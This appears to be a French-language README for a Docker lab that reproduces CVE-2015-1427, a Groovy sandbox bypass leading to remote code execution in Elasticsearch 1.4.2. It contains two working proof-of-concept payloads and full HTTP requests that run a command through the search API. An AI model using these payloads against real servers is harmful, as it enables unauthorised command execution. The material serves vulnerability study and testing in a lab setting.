
Environnement de laboratoire basé sur Docker pour le contournement du sandbox ElasticSearch Groovy de CVE-2015-1427 et l'exécution de code à distance, démontrant deux méthodes POC avec la réflexion Java et l'exécution de commandes Groovy.
Version JRE : openjdk:8-jre
Version Elasticsearch : v1.4.2
Articles de référence :
Après CVE-2014-3120, le langage de script dynamique par défaut d'ElasticSearch a été remplacé par Groovy, et un bac à sable a été ajouté, mais le support pour l'exécution directe de langages dynamiques reste activé par défaut. Cette vulnérabilité : 1. est un contournement du bac à sable ; 2. est une vulnérabilité d'exécution de code Groovy.
ElasticSearch prend en charge l'utilisation du langage Groovy « dans le bac à sable » comme script dynamique, mais il est clair que le travail officiel n'a pas été bien fait. lupin et tang3 ont proposé deux méthodes pour exécuter des commandes :
Ainsi, selon ces deux idées d'exécution de la vulnérabilité, nous pouvons obtenir deux POC différents.
Méthode de contournement du bac à sable Java :
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Méthode d'exécution directe de commandes Groovy :
def command='id';def res=command.execute().text;res
Compilation et exécution de l'environnement de test
docker-compose build
docker-compose up -d
Comme une requête nécessite au moins une donnée dans ES, envoyez le paquet de données suivant pour ajouter une donnée :
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Envoyez ensuite un paquet contenant la payload pour exécuter une commande arbitraire :
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
